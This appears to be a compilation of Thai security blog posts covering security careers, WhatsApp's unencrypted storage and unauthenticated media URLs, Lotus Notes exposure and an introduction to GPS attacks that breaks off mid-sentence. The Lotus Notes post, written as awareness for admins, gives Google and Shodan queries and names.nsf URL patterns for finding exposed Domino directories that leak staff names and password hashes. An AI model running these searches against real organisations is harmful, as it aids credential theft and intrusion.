# Thailand IT Security Career
## งาน IT Security ในประเทศไทย
คงปฏิเสธไม่ได้ว่าทุกวันนี้งานที่ถูกใจก็หายากเหลือเกิน ยิ่งเป็นเด็กจบใหม่ไม่รู้เรื่องเกี่ยวกับงานที่สมัคร โชคดีก็อาจได้ทำงานที่ตัวเองชอบมีอนาคตดี แต่ถ้าโชคร้ายล่ะก็……หึหึ
ปัจจุบันงาน IT มีหลากหลาย เลือกไม่ค่อยถูก แต่วันนี้จะขอพูดถึงงานในสายที่เป็น Security ที่มีความต้องการมากขึ้นทุกวัน ทีนี้เรามาเริ่มต้นดูกันดีกว่าว่างานทางด้าน Security มีอะไรบ้าง โดยจะแบ่งเป็น 3 หมวดหมู่ดังนี้
### 1. พวกขายของ
กลุ่มงานที่จัดอยู่ในพวกขายของนั้นจะมีบริษัทอยู่ 3 ประเภทหลักคือ Vendor, Distributor และ System Integrator
- Vendorคือเจ้าของ Product นั่นเอง ซึ่ง Security Product ก็มีมากมายเช่น Cisco, Juniper, Checkpoint, Symantec, McAfee โดยคนที่ทำงานให้กับบริษัท Vendor ก็จะต้องเป็นผู้เชี่ยวชาญใน Product ของตัวเองอย่างมาก ชนิดที่ว่าถามอะไรมาต้องตอบได้หมด หน้าที่ที่ต้องทำคือ
- 1.ไป Present ความสุดยอดของ Product ของตัวเองให้ลูกค้าฟัง
- 2.Implement Product ให้ลูกค้าใช้งาน
- 3.แก้ปัญหาของ Product ที่ตัวเองดูแล :br
ทั้ง 3 อย่างนี้ก็มักจะต้องทำในกรณีที่พวก Distributor และ System Integrator ไม่สามารถทำได้
- Distributor คือพ่อค้าคนกลาง ก็แล้วกัน โดยพวก Product ต่างๆนั้นทาง Vendor จะไม่ได้ขายให้ลูกค้าโดยตรง แต่จะขายผ่าน Distributor ดังนั้น Distributor ก็จะมี Product หลายๆอย่างขาย โดย Distributor จะนำ Product ไปขายผ่าน System Integrator อีกทอดนึงก่อนขายให้ลูกค้า หน้าที่ของ Distributor ก็จะมีการไป Present, Implement และแก้ปัญหาให้กับลูกค้า กรณีที่ System Integrator ไม่สามารถทำได้ จริงๆแล้ว Distributor ก็เปรียบเสมือน Second tier support โดยคนที่ทำงานอยู่ในบริษัทที่เป็น Distributor ก็จะมีความเชี่ยวชาญใน Product ที่หลากหลาย แต่อาจจะไม่ได้ลึกซึ้งเท่ากับ Vendor หาก Distributor ทำอะไรไม่ได้ก็จะมีการติดต่อไปที่ Vendor เจ้าของ Product เพื่อช่วยขอความช่วยเหลือ
- System Integratorคือบริษัทที่มีหน้าที่เข้าไปขาย ติดตั้งระบบ และ support ให้กับลูกค้าโดยตรง เรียกว่าเป็นคนรับหน้าเลย โดยส่วนใหญ่งานในบริษัทมักจะแบ่งเป็น 3 ตำแหน่งหลักๆคือ
- Sale มีหน้าที่เข้าไปติดต่อหาลูกค้าแต่ละที่ ดูว่า Requirement ของลูกค้าคืออะไร เช่นอยากได้ Antivirus, Firewall ส่วนใหญ่มักจะใช้ผู้หญิงหน้าตาดีๆ มีมนุษยสัมพันธ์ เข้าหาลูกค้าเก่ง พอรู้ว่าลูกค้าต้องการอะไรก็จะพาคนที่เป็น Pre-sale เข้าไปหาลูกค้าด้วยกันเพื่อนำเสนอ Product หน้าที่อีกอย่างหนึ่งของ Sale นอกจากขายของก็คือ เสนอราคาแข่งกับบริษัทอื่นๆกรณีที่จะต้องมีการ Bid Project
- Pre-sale/System Engineer มีหน้าที่นำ Requirement จาก Sale มาคิดว่าจะต้องเอา Product อะไรเข้าไป Present Product ให้ลูกค้าฟังบ้าง ซึ่งในบางครั้ง 1 Project ก็อาจจะใช้หลาย Product ก็ได้ ซึ่ง Pre-sale จะต้องมีหน้าที่เสนอ Product ที่วิเคราะห์มาแล้วว่าจะเอาอะไรไปเสนอดี แล้วก็ติดต่อ Distributor หรือ Vendor ผู้เชี่ยวชาญไปด้วยกรณีที่ไม่เชี่ยวชาญ Product นั้นมาก หน้าที่อีกอย่างของ Pre-sale ก็คือทำเอกสาร Proposal ส่งให้ลูกค้าแสดงให้ลูกค้าเห็นว่า Product ที่นำเสนอนั้น Comply ตาม Requirement ของลูกค้าอย่างไร
- Post-sale/Implementer/Support Engineer จะเริ่มมีหน้าที่ขายของเสร็จเรียบร้อยแล้วเริ่มเข้าไปปฏิบัติการติดตั้งระบบให้ลูกค้า สิ่งที่ต้องทำก็คือเข้าไปหาลูกค้านำอุปกรณ์ไปติดตั้ง set config ให้ใช้งานได้ตาม Requirement และจะต้องเข้าไป Support กรณีที่อุปกรณ์นั้นมีปัญหา รวมถึงการทำ Preventive Maintenance (PM หรือ การตรวจสอบสภาพเช่นตรวจดู performance, ปัดฝุ่นป้องกันอุปกรณ์เสีย) หลายๆครั้งที่เห็น Post-Sale ต้องทำงานกลางคืน เนื่องจากว่าการแก้ไข Configuration หรือติดตั้งระบบนั้น หากทำช่วงกลางวันอาจจะกระทบต่อ Business ได้
### 2. พวกซื้อของ
กลุ่มนี้เรียกว่าเป็นกลุ่มบริษัททั่วๆไปที่ต้องการความปลอดภัย ซึ่งปัจจุบันมีเยอะมาก ตัวอย่างเช่น ธนาคาร, โรงพยาบาล, กลุ่มสื่อสาร
งานในกลุ่มนี้มักจะมีตำแหน่งที่เรียกว่า IT Security Administrator และ User Administrator
- IT Security Administrator ก็คือคนที่ต้องคอยดูแลอุปกรณ์ทั้งหลายในองค์กรให้มีความสมบูรณ์ สิ่งที่ต้องทำก็มีทั้ง set configuration ของอุปกรณ์ให้เป็นไปตามความต้องการของ User ที่รักทั้งหลาย, การ Backup configuration ที่จะต้องทำเป็นประจำ, การตรวจสอบสิ่งผิดปกติต่างๆ, ลง Patch, Update Firmware เป็นต้น กรณีที่ิเกิดปัญหาในการปฏิบัติงานแล้วไม่สามารถแก้ไขได้ด้วยตัวเองก็จะสามารถโทรเรียกตัวช่วยได้มากมาย เช่น System Integrator, Distributor, Vendor และผองเพื่อนทั้งหลาย ในบางองค์กร IT Security Administrator อาจจะมีหน้าที่ต้องคอยอัพเดท Technology และคิด Project ให้เป็นไปตาม Business Requirement แล้วก็เรียก System Integrator เข้ามาติดตั้ง เช่น Business อยากได้ Data Loss Prevention เป็นต้น
- User Administrator ซึ่งหน้าที่ก็จะเป็นการสร้าง User ให้พนักงานเข้าใหม่, แก้ไขสิทธิให้พนักงานที่มีการเลื่อนตำแหน่งหรือย้ายฝ่าย และมีการลบ User สำหรับพนักงานที่ลาออก งานของ User Administrator ก็จะรับ Request จาก User ค่อนข้างบ่อย และก็จะเจอกับ IT Auditor อยู่เป็นประจำ เพราะว่า IT Auditor ก็มักจะมาตรวจว่าพบว่าพนักงานคนโน้นคนนี้ลาออกไปแล้วทำไมยังมี User อยู่ งาน User Administrator เหมือนจะเป็นงานง่าย แต่ในความจริงแล้วองค์กรใหญ่ๆๆมีระบบมากมายเป็น 100 ระบบ จะจัดการสิทธิของ User บนระบบอย่างมีประสิทธิภาพได้อย่างไร?
สำหรับองค์กรใหญ่ก็จะมีการแบ่งหน้าที่กันอย่างชัดเจนในการทำงาน เช่น ฝ่ายนโยบาย, ฝ่ายปฏิบัติการ, ฝ่ายตรวจสอบ ซึ่งเป็นเรื่องเกี่ยวกับโครงสร้างองค์กรด้วย ซึ่งจะขออธิบายเกี่ยวกับหน้าที่พนักงาน IT Security ในองค์กรใหญ่ในบทความในอนาคต
### 3. พวกขายบริการ หรือผู้เชี่ยวชาญ
ในกลุ่มนี้ค่อนข้างเฉพาะทางมากๆ อาจจะไม่สามารถอธิบายได้หมด ขอยกตัวอย่างดังนี้
- Managed Security Service (MSS) เป็นกลุ่มที่รับ Monitor log เพื่อตรวจสอบเหตุการณ์ผิดปกติ เพื่อที่จะได้แจ้งให้ผู้เกี่ยวข้องทราบและแก้ไขได้ทัน ตัวอย่างเช่น ธนาคาร A ไม่มีคนที่จะคอยดูแลระบบตลอด 24 ชั่วโมงหรือ IT Security Administrator มีไม่พอ ก็อาจจะมีการจ้างบริษัทที่ให้บริการ MSS ช่วยดูให้ โดยปกติธนาคาร A ก็จะต้องส่ง log ไปให้บริษัท MSS แล้วบริษัท MSS ก็จะมีคนนั่ง Monitor ให้ตลอด 24 ชั่วโมง โดยพนักงานที่ทำก็จะมีการแบ่งกะกันทำ เมื่อดู log แล้ววิเคราะห์ว่าเกิดเหตุการณ์ผิดปกติก็โทรไปแจ้งธนาคาร A
- IT Security Consultant มีหน้าที่ให้คำปรึกษาด้าน Security เรียกว่าจะต้องมีความรู้รอบด้านเลย ตั้งแต่ เรื่อง Process ยันเรื่อง Technical เรื่อง Network ยันเรื่อง Programming นอกจากนี้ยังต้องรู้พวกข้อกฏหมายด้วย ซึ่งงานให้คำปรึกษาก็มักจะเป็นการให้คำปรึกษาเรื่อง IT Security ทั่วไป ไม่ก็การให้คำปรึกษาทางด้าน ISO27001 ซึ่งเป็น IT Security Standard ที่สำคัญ โดยการให้คำปรึกษาก็จะเริ่มจากการไปตรวจสอบ Existing environment รวมถึงการสัมพาษณ์ผู้เกี่ยวข้องดูว่าปัจจุบันระบบเป็นอย่างไร แล้วก็ต้องหาจุดที่จะต้องปรับปรุงพร้อมทั้งแนะนำวิธีการในการปรับปรุงเพื่อให้เป็นไปตาม Standard บริษัทที่มีงาน Consult ก็เป็นพวก Big4 ในวงการ Audit เช่น PwC, Deloitte
- IT Auditor แปลตรงๆเลยผู้ตรวจสอบ ตรวจสอบ IT ว่ามีข้อบกพร่องอะไร Process ตรงไหนไม่ดี ระบบขาดอะไร โดยการตรวจสอบก็เพื่อที่จะช่วยพัฒนาให้องค์กรดีขึ้น แต่โดยทั่วไปคนที่ถูกตรวจสอบมักจะคิดว่ามาจับผิด การตรวจสอบของ Auditor ก็มักจะอิงตามมาตรฐานต่างๆ เช่น ISO27001, OWASP บางบริษัทที่มีหน้าที่ออกใบรับรอง (Certify) ของ ISO27001 ก็มีหน้าที่ตรวจว่าองค์กรมีระบบเป็นไปตาม Standard หรือไม่ ถ้าเป็นก็ออกใบรับรองให้ได้ บริษัทที่มีงาน Audit ก็เป็นพวก Big4เหมือนกัน
- Penetration Tester มีหน้าที่ในการตรวจสอบหาช่องโหว่ของระบบ และทำรายงานรวมถึงให้คำแนะนำในการแก้ไข ปัจจุบันมีหลายๆ Standard ที่บังคับให้ต้องมีการทำ Penetration Test เป็นประจำทุกๆปี ซึ่งคนที่จะเป็น Penetration Tester ได้ก็จะต้องมี Technical Skill สูง รวมถึงมีความสามารถในการวิเคราะห์ Business Logic ทั้งหลายเพื่อสรุปออกมาเป็นความเสี่ยงที่เกิดขึ้น และจะต้องมี Skill ด้านมืดด้วย บริษัทที่รับทำ Penetration Test ก็มี Incognito Lab และพวก Big4 ทั้งหลาย รวมถึงตอนนี้มีบริษัทเปิดใหม่รับทำค่อนข้างเยอะครับ
- Digital Forensics ก็คล้ายๆกับคุณหญิงแพทย์พรทิพย์ เวอร์ชั่น online นั่นแหละ ตัวอย่างหน้าที่คือจะต้องคอยวิเคราะห์หาสาเหตุของ incident ต่างๆที่เกิดขึ้น งานนี้ค่อนข้างใช้ Skill สูงมากเช่นกัน โดยจะเน้นไปที่ ความรู้ของ OS, Network และการวิเคราะห์ Log การหางาน Digital Forensics ในไทยค่อนข้างหายาก ที่เคยเจอก็เป็นหน่วยงานของรัฐบาล
- Professor หรือ อาจารย์ ก็มีหน้าที่สอนในระดับมหาวิทยาลัยครับ ซึ่งงานสอนในมหาวิทยาลัยนี่ค่อนข้างน่าสนใจเพราะว่าจะมีเครือข่ายที่เยอะมาก เนื่องจากปริมาณนักเรียนแต่ละรุ่นที่จบไป นอกจากงานสอนและงานวิจัยด้าน Security แล้ว มักจะเห็นว่าอาจารย์จะรับ Project ส่วนตัว รวมถึงรับไปเป็นที่ปรึกษาให้กับหน่วยงานต่างๆ คำว่าอาจารย์ในมหาวิทยาลัยนี่ก็ต้องแยกก่อนว่าเป็นคนที่จบปริญญาที่เกี่ยวข้องกับด้าน Security มาเลย หรือว่า เป็นผู้เชี่ยวชาญด้าน Security แล้วไปสอนในมหาวิทยาลัยนะครับ ซึ่ง Skill ก็แตกต่างกันไปแล้วแต่คนเลยครับ
- Security Researcher คำนี้เป็นคำที่กว้างมากๆสื่อได้ถึงการทำงาน วิจัยทฤษฏีใหม่ๆ, ทำ Product ใหม่ๆ หรือหาเทคนิคใหม่ๆไม่ว่าจะเป็น Offensive หรือ Defensive หาเจอได้ตามงาน Security Conference ใหญ่ๆๆ (มีบ้างในไทยไม่เยอะ) รวมถึงอีกกลุ่มคือเน้นหาช่องโหว่ Zero day ซึ่งหา Zero day นี่ถ้าเป็น Software ยอดนิยม ผลตอบแทนที่ได้รับจะดีมากๆๆครับ
สุดท้ายนี้ก็หวังว่าบทความนี้จะสามารถใช้เป็นแนวทางสำหรับผู้ที่สนใจในงานด้าน Security จะได้ตัดสินใจถูกว่าตัวเราเองนั้นเหมาะกับงานแบบไหน เนื่องจากคนเราก็ทำงานวันนึงไม่น้อยกว่า 8 ชั่วโมง เราก็ควรจะเลือกงานที่เรารักที่จะทำ
# WhatsApp insecurity part 1
## ความปลอดภัยของ Whatsapp
วันนี้เรามาดู Whatsapp ซึ่งเป็น chat application ที่ได้รับความนิยมสูงนั้นมีความปลอดภัยมากแค่ไหนกัน
เมื่อประมาณเดือนพฤษภาคม ปี 2011 Whatsapp ได้ถูกประนามอย่างรุนแรงเรื่องความปลอดภัยในการรับ-ส่งข้อมูลที่ไม่มีการเข้ารหัส ซึ่งการที่ไม่เข้ารหัสนี้ทำให้ข้อมูลที่มีการรับส่งกันสามารถถูกแอบอ่านได้โดยบุคคลอื่นได้ ในทางวิชาการแล้ว เราเรียกว่าถูก compromise ในเรื่อง confidentiality (ความลับไม่เป็นความลับอีกต่อไป) ซึ่งเรื่องนี้ Whatsapp ก็เพิ่งได้ทำการแก้ไขช่องโหว่เสร็จ หลังจากปล่อยให้ user ใช้งาน version ที่มีช่องโหว่มานานประมาณ 1 ปี!!!!! อ้าว ที่เรา chat กันผ่าน Whatsapp ใน 1 ปีที่ผ่านมาก็ไม่ปลอดภัยน่ะสิ "ใช่แล้วครับ" ซึ่งข้อมูลที่อยู่ระหว่างการรับ-ส่ง นี้เรียกว่า Data in motion ตาม concept ของ Data loss
ก่อนที่จะเข้าประเด็นถัดไป ขอเข้าสรุปง่ายๆ สำหรับ concept เรื่อง Data loss ก่อนนะครับ
Data Leakage หรือ การรั่วไหลของข้อมูล โดยปกติมี 3 ส่วน ซึ่งแยกตาม Flow ของ Data ได้แก่
1. Data in use – Data ที่อยู่บน Endpoint ไม่ว่าจะเป็น PC, Desktop, Mobile
2. Data in motion – Data ที่รับ – ส่ง ใน network
3. Data at rest – Data ที่ถูกเก็บอยู่ที่ Server
เอาล่ะ ทีนี้มาดูประเด็นถัดมาเป็น Data in use ของ Whatsapp กัน สิ่งที่ Whatsapp เก็บอยู่บน iPhone มันมีหน้าตาอย่างไร มาดูกัน
ภาพด้านล่าง นั้นคือข้อมูลของ Whatsapp ที่อยุ่ใน iPhone ซึ่งสามารถเข้าไปดูได้โดย SSH เข้า iPhone หรือไม่ก็สามารถนำ file Backup ของ iPhone มาแกะดูได้
ตามภาพมีสิ่งน่าสนใจคือ File ชื่อ ChatStorage.sqlite และ Folder ชื่อ Library\Media
1. ChatStorage.sqlite – เก็บข้อมูล Chat ผ่าน Whatsapp ทั้งหมดบนเครื่อง
2. Library\Media – เก็บรูปที่ส่งผ่าน Whatsapp ทั้งหมดบนเครื่อง
ซึ่งทั้ง 2 อย่างนี้ไม่มีการเข้ารหัส ทำให้อ่านได้ง่ายมาก ตามรูปด้านล่าง
ทีนี้ความปลอดภัยอยู่ที่ไหนล่ะเนี่ย???
# Company secret with Lotus Notes
## แนะนำกันก่อน
Lotus Notes คือ software ของบริษัท IBM ซึ่งสามารถใช้งานได้หลากหลายไม่ว่าจะเป็นการรับ-ส่งเมล, ทำตารางนัดหมาย, address book, chat ก็ยังได้ สำหรับคนทำงานที่ใช้ notes คงพอจะเคยเล่นกัน ที่สำคัญสามารถพัฒนาโปรแกรมง่าย ๆ ใช้งานบน Lotus Notes ได้อีกด้วย ปัจจุบัน version ล่าสุดจะเป็น ver 8.5.x แล้ว
## แล้วเกี่ยวไรกับความลับขององค์กร
อย่างที่เล่าให้ฟังด้านบนว่า Lotus Notes คนทั้งองค์กรเอาข้อมูลไปฝากไว้อยู่บนนั้นมากเหลือเกิน ถ้าหากเกิดปัญหาเรื่องความปลอดภัยขึ้นมา ลองคิดดูว่าจะกระทบกับองค์กรขนาดไหน
## ลองดูว่าผมจะได้อะไรมาบ้าง
ผมจะทำ Recon อย่างเดียวครับงานนี้ ไม่มีความเสี่ยงและไม่ผิดพระราชบัญญัติว่าด้วยการกระทำผิดเกี่ยวกับคอมพิวเตอร์ พ.ศ.๒๕๕๐ ของไทยอย่างแน่นอน
### 1. เริ่มต้นด้วย google:
ผมลอง search หาว่า มี file ประเภท Lotus Notes Database (ใช้ extension เป็น .nsf) อยู่หรือไม่โดย
```text
\+ URL ต้องมีคำว่า nsf
\+ file extension ต้องเป็น nsf ด้วย
\+ ขอหาแต่ในบริษัทในประเทศไทย
```
```text
inurl:nsf filetype:nsf site:co.th
```
พบว่ามีเกือบ 40 รายการ ผมจึงลองเข้าไปดูว่ามันมีอะไรบ้าง แต่ละ link ที่เจอจะพบว่าอยู่ในรูปแบบ :br
xxx.nsf ซึ่งเป็น application ที่ run บน Lotus Notes
ภาพด้านบน พบว่าเป็นข้อมูลถามตอบ มี file ข้อมูลด้านเทคนิค แถมยังชื่อคนอีก
แต่เราจะ focus ไปที่ URLs แบบนี้
```text
- http://example.com/names.nsf
- http://example.com/names.nsf?Opendatabase
```
ถ้า link ไหนไม่ใช่ก็แก้ไขซะ บาง web ก็จะไม่พบอะไรพบแต่หน้า login ซึ่งหมายถึงทำการ configure ได้เรียบร้อยดีแต่บาง web อาจจะไม่เป็นอย่างนั้น
ในที่สุดผมก็เจอ username และชื่อ+นามสกุลของคนทั้งบริษัท สิ่งที่ผมอยากจะบอกทุกคนก็คือข้อมูลเหล่านี้เป็นข้อมูลที่เป็นความลับ ไม่ควรอย่างยิ่งที่ข้อมูลเหล่านี้จะเปิดเผยออกสู่ internet แต่สิ่งที่มันอันตรายกว่านั้นก็คือ ใน Lotus Notes หากทำการติดตั้งและ configure ไม่ดี จะมีการเปิดเผย hash\[2] ของ password ผู้ใช้งาน
ใน Lotus Notes จะ hash ข้อมูล password ผู้ใช้งานเก็บใน field เรียกว่า HTTPPassword ปัญหาใหญ่ก็คือ hacker สามารถนำข้อมูลนี้ไปหา password จริง ๆ ของผู้ใช้งานได้ อันตรายจริง ๆ
นอกเหนือจาก google แล้วก็ยังหาข้อมูลจากที่อื่นได้อีก
### 2. project {rel=""nofollow""} ชื่อเต็มคือ
Every Routable IP Project
เป็น project ที่มาเติมเต็ม google โดยมีจุดประสงค์ว่า site บาง site อาจจะเข้าไม่ถึงได้ผ่าน search engine, project eripp จึงทำการหาทุก ๆ IP ที่เข้าถึงได้ (routable) และเก็บข้อมูลเอาไว้ ลองหาด้วยคำว่า names.nsf หรือ lotus ดู
### 3. shodan [http://www.shodanhq.com](http://www.shodanhq.com/){rel=""nofollow""}
shodan เป็น Computer Search Engine อีกตัวหนึ่ง ซึ่งไม่ได้เจาะจงแต่หา web อย่างเดียวเหมือน google แต่ shodan หาทุกอย่างตั้งแต่ computer, webcam, mobile device, switch, router พี่แกหาหมดเลยครับ ต้องสมัครสมาชิกก่อนใช้งานโดยใช้งานได้ฟรีแต่จำกัดการดูผลการค้นหาอยู่บ้าง ก็หยวน ๆ ลอง search ด้วย keyword
```text
nsf country:TH
```
## บทสรุป
ถ้าองค์กรของผู้อ่าน มี lotus notes ก็ลองดูกันหน่อยครับว่ามันยังโอเคหรือเปล่า ถ้าเป็นอย่างที่เล่าให้ฟังก็บอกให้เจ้านายเรียก admin มา clear cut ชัดเจนซะหน่อยนะครับว่าทำไมปล่อยให้ระบบเป็นอย่างนี้
## อ้างอิง
1. Recon มากจากคำว่า Reconnaissance หลาย ๆ คนที่บ้าสงคราม หรือบ้าพวกหน่วยรบพิเศษเหมือนผม คงเคยได้ยินการฝึก Recon ซึ่งชื่อภาษาไทยคือหลักสูตรรบพิเศษ แขวงสะเทิ้นน้ำ สะเทิ้นบก และจู่โจม กองพันลาดตระเวน กองพลนาวิกโยธิน กองทัพเรือ พูดง่าย ๆ ก็คือการหาข้อมูลข่าวสาร ข่าวกรอง (intel) นั่นเองครับ
2. hash คือค่าจาก cryptographic hash function ซึ่งทำหน้าที่สร้างค่าทางคณิตศาสตร์ขึ้นมาค่าหนึ่งเพื่อ represent ข้อมูลที่เป็น input ทั้งหมด หากมีการเปลี่ยนแปลง input แม้เพียงนิดเดียว ค่า hash จะเปลี่ยนไปอย่างมาก เช่น
input คือ "We are incognito."
hash แบบ md5 จะได้ค่า f55a3db6554b5befabfa5f21468fbbee
ถ้าเราเปลี่ยน input นิดเดียว "We are incognito" (ตกจุดไป)
จะได้ค่า hash เป็น ec2a66c64b790d005908214d10cf9d1b
## For professional penetration testers
– เร็ว ๆ นี้ ผมได้ชมงาน [BSide Las Vegas 2012](http://www.securitybsides.com/w/page/51614272/BSidesLV%202012){rel=""nofollow""} และสนใจในหัวข้อ [William Ghote: "Lotus Notes Password Hash Redux"](https://www.irongeek.com/i.php?page=videos/bsideslasvegas2012/2.1.2-william-ghote-lotus-notes-password-hash-redux){rel=""nofollow""} จึงลองมาดูว่าในประเทศไทยมีความเสี่ยงเรื่อง Lotus Notes เหมือนอย่าง US เค้ามั่งหรือไม่ซึ่งพบว่า เสี่ยงเหมือนกัน ? สำหรับใครที่ต้องการศึกษาเพิ่มเติมก็ลองดูได้ครับ :br
– ตอนนี้ก็มี metasploit module สำหรับงานนี้แล้วนะครับ [Lotus Domino Scanner](http://carnal0wnage.attackresearch.com/2012/08/lotus-domino-scanner.html){rel=""nofollow""}
# WhatsApp insecurity part 2
## ความปลอดภัยของ Whatsapp ตอนที่ 2
หลังจากตอนแรกเราได้พูดกันถึง Concept ของ Data Leakage ไปแล้ว 2 ใน 3 ช่องทาง ในตอนนี้เราจะพูดถึงช่องทางที่ 3 กันซึ่งได้แก่ Data at rest หรือข้อมูลที่ถูกเก็บไว้ที่ Server นั่นเอง
จากตัวอย่างเรื่อง Whatsapp การส่งรูปหากันใน Whatsapp จะมีการ upload รูปที่ต้องการส่งขึ้นไปไว้ที่ Server ของ Whatsapp ซึ่งรูปต่างๆใน Server นั้นเพียงแค่ทราบ URL ก็จะสามารถเข้าถึงได้ทันที ไม่มีการทำ Authentication ใดๆทั้งสิ้น แล้วทีนี้ความปลอดภัยอยู่ที่ไหนล่ะเนี่ย
ด้านล่างเป็นตัวอย่างรูปที่ทดลองส่งผ่าน Whatsapp ก็จะพบว่าใน file Database ของ Whatsapp จะมี URL เก็บไว้ทั้งหมด
ลองเข้าตาม URL ก็จะพบรูปที่ส่งหากันได้ทันที {rel=""nofollow""}
เดี๋ยวนี้มีการใช้งาน Instant Messenger กันอย่างแพร่หลาย เราก็ควรจะตระหนักถึงความสำคัญของข้อมูลของเราด้วยนะครับ
เอาล่ะ ครั้งนี้เป็นการยกตัวอย่างเรื่อง Data Leakage ที่ใกล้ตัว ครบทั้ง 3 แบบแล้ว ซึ่งก็มีหลายอย่างที่ทาง Whatsapp เองควรจะปรับปรุง เช่น
1. ประกาศนโยบายให้ Data ที่อยู่บน Whatsapp นั้นมีการเก็บนานไว้นานแค่ไหน
2. Process ในการ review, delete data ทำอย่างไร
3. การป้องกันในระดับ web application ที่ควรจะมีการทำ Authentication, Authorization ในการเข้าถึงข้อมูลส่วนตัวของผู้ใช้งานได้
จบเรื่องตัวอย่าง DLP กับ Whatsapp แล้วคราวหน้าเรามาดูกันต่อว่า Security รอบๆตัวเรามีอะไรที่น่าสนใจบ้าง
# GPS Attack part 1
## GPS ในความคิดของนักเจาะระบบ
ลองคิดดูว่าหากระบบนำทางที่เราเรียกกันติดปากว่าระบบ GPS เกิดปัญหาขัดข้องขึ้น ไม่ว่าจะเป็นการบ่งบอกพิกัดผิดจากตำแหน่งจริง หรือสถานีควบคุมเห็นวัตถุกำลังเคลื่อนที่จากจุดใดไปจุดหนึ่งแต่จริง ๆ แล้วไม่มี จะเกิดอะไรขึ้น นี่เป็นปัญหาและภัยคุกคามระดับโลกเลยนะครับ หากจะอธิบายไปไกลกว่านี้ผมคงต้องปูพื้นหลักการทำงานของ GPS ให้ทุกคนทราบก่อนครับว่าเป็นยังไง
## GPS คืออะไร
ระบบ GPS(Global Positioning System) เป็นระบบระบุตำแหน่งบนพื้นโลก โดยการทำงานของมันจะต้องประกอบด้วย 3 ส่วน
1. User segment: เป็นตัวรับสัญญาณจากดาวเทียม เรียกว่า GPS receiver equipment เช่นพวก GPS ติดเครื่องบิน เรือ รถยนตร์และพวก smartphone
2. Control segment: เป็นสถานีควบคุมดาวเทียม
3. Space segment: เป็นดาวเทียมที่มีวงโคจรอยู่รอบโลก ทำการการกระจายสัญญาณส่งข้อมูลที่เรียกว่า time and space ให้ส่วนที่เป็น user segment คำนวณตำแหน่ง

## ทำไมมันรู้ตำแหน่งเรา
GPS receiver ต้องการข้อมูล time and space จากดาวเทียมมาคำนวณว่าตัวมันเองอยู่ห่างจากดาวเทียมเป็นระยะทางเท่าไร โดยที่จำเป็นต้องใช้ข้อมูลอย่างน้อยจากดาวเทียม 4 ดวง ถ้ารับข้อมูลมาแค่ 3 ดวงพิกัดความสูงจะผิดไปเนื่องจากโลกมีความโค้งและสัณฐานของโลกมีลักษณะกลม การรับข้อมูลจากดาวเทียมเพียงแค่ 3 ดวงจะคำนวณตำแหน่งได้ก็ต่อเมื่อนำคำนวณพิกัดตำแหน่งในระนาบเท่านั้น ถ้าหากรับข้อมูลจากดาวเทียมน้อยกว่า 3 ดวงตำแหน่งพิกัดจะมั่ว ไม่แม่นยำเท่าที่ควร ส่วนวิธีการการคำนวณนั้นหาอ่านได้จากตำราฟิสิกส์เอาเองละกันนะครับ ขอบอกว่าต้องนำหลักสัมพัธภาพของไอสไตน์มาใช้ด้วยครับเนื่องจากดาวเทียมโคจรอยู่นอกโลก เวลาที่เดินก็จะไม่เท่ากันอีกทั้งการเดินทางของคลื่นแม่เหล็กไฟฟ้าในอวกาศจะมีเรื่องแรงโน้มถ่วงอีกด้วย หากไม่นำเรื่องพวกนี้มาคิดด้วย GPS ก็จะไม่แม่นยำครับ :br
ลืมบอกไปว่าข้อมูลดาวเทียมที่เราใช้กันอยู่ปัจจุบันเป็นของ [US](http://www.gps.gov/){rel=""nofollow""} ครับเค้าให้ใช้งานฟรี พอพูดเรื่องนี้ต้องขอเล่าเพิ่มเติมว่าหากใช้ในทางทหาร มันจะมีเรื่อง security เข้ามายุ่งด้วย Russia ก็มีโครงการดาวเทียม GPS ของเค้าเองอยู่ภายใต้ Federal Space Agency ชื่อ [GLONASS](http://www.glonass-ianc.rsa.ru/en/){rel=""nofollow""}ใช้เอง ส่วนยุโรปเค้าก็มีส่วนตัวครับของ European Space Agency ชื่อว่า [Galileo](http://www.esa.int/esaNA/galileo.html){rel=""nofollow""} ซึ่งทางโครงการบอกว่าการทำงานจะเป็นไปในลักษณะ inter-operable กับของทาง US และ Russia สำหรับผู้ใช้งานทั่วไปพึงระลึกเสมอว่า free GPS ที่ใช้คลาดเคลื่อนไม่เกิน 10m แต่หากใช้ GPS ในทางทหารพิกัดจะแม่นยำกว่านี้เยอะครับ
ตอนนี้เราก็รู้เรื่อง GPS ว่าทำงานกันอย่างไรแล้ว บทความตอนหน้าผมจะเล่าให้ฟังว่าจริง ๆ แล้วพวก smartphone ไม่ได้พึ่งพา GPS อย่างเดียวในการระบุตำแหน่งเนื่องจากมีข้อจำกัดอยู่ และผมจะลองโจมตี GPS บน smartphone ด้วย แต่จะเป็นยังไงนั้นขอให้ติดตามตอนหน้านะครับ
---
Part 2
[/blogs/gps-attack-part-2](https://incognitolab.com/blogs/gps-attack-part-2)
# GPS Attack part 2
[/blogs/gps-attack-part-1](https://incognitolab.com/blogs/gps-attack-part-1)
เราได้พูดถึงหลักการทำงานอย่างง่าย ๆ คร่าว ๆ ของระบบ GPS ไปเรียบร้อยแล้ว สำหรับ GPS ที่เราจะทำการโจมตีนั้น ผมจะทำการทดลองบนอุปกรณ์ smartphone ครับซึ่งหลักการทำงานของ GPS ของอุปกรณ์พวกนี้ มันมีความแตกต่างจาก GPS ทั่วไปอยู่บ้าง
## mobile phone ใช้ gps ยังไง
เคยสังเกตมั้ยครับว่าเวลาเราใช้งาน GPS บนอุปกรณ์ smartphone จะพบว่าใช้เวลาไม่นานก็สามารถ locate ตำแหน่งของเราได้ ผิดกับ GPS receiver ทั่วไปที่ต้องใช้เวลาสักพัก ต้องอยู่ในที่ที่ไม่มีอะไรมาบดบังสัญญาณ และถ้าจะให้รับสัญญานได้รวดเร็วจำเป็นที่จะต้องอยู่กับที่ด้วย ด้วยข้อจำกัดดังกล่าวถ้าหากจะให้ smartphone ใช้วิธีเดียวกันกับ GPS receiver เลยก็จะพบว่ามันจะต้องใช้พลังงานสูง และใช้เวลานานกว่าจะหา location ได้พบ พวกโทรศัพท์ประเภท smartphone หรือ mobile device บางยี่ห้อจึงใช้เทคนิคที่เรียกว่า AGPS(Assisted GPS) แทน โดยที่จะนำข้อมูลต่อไปนี้ไปประมวลผล:
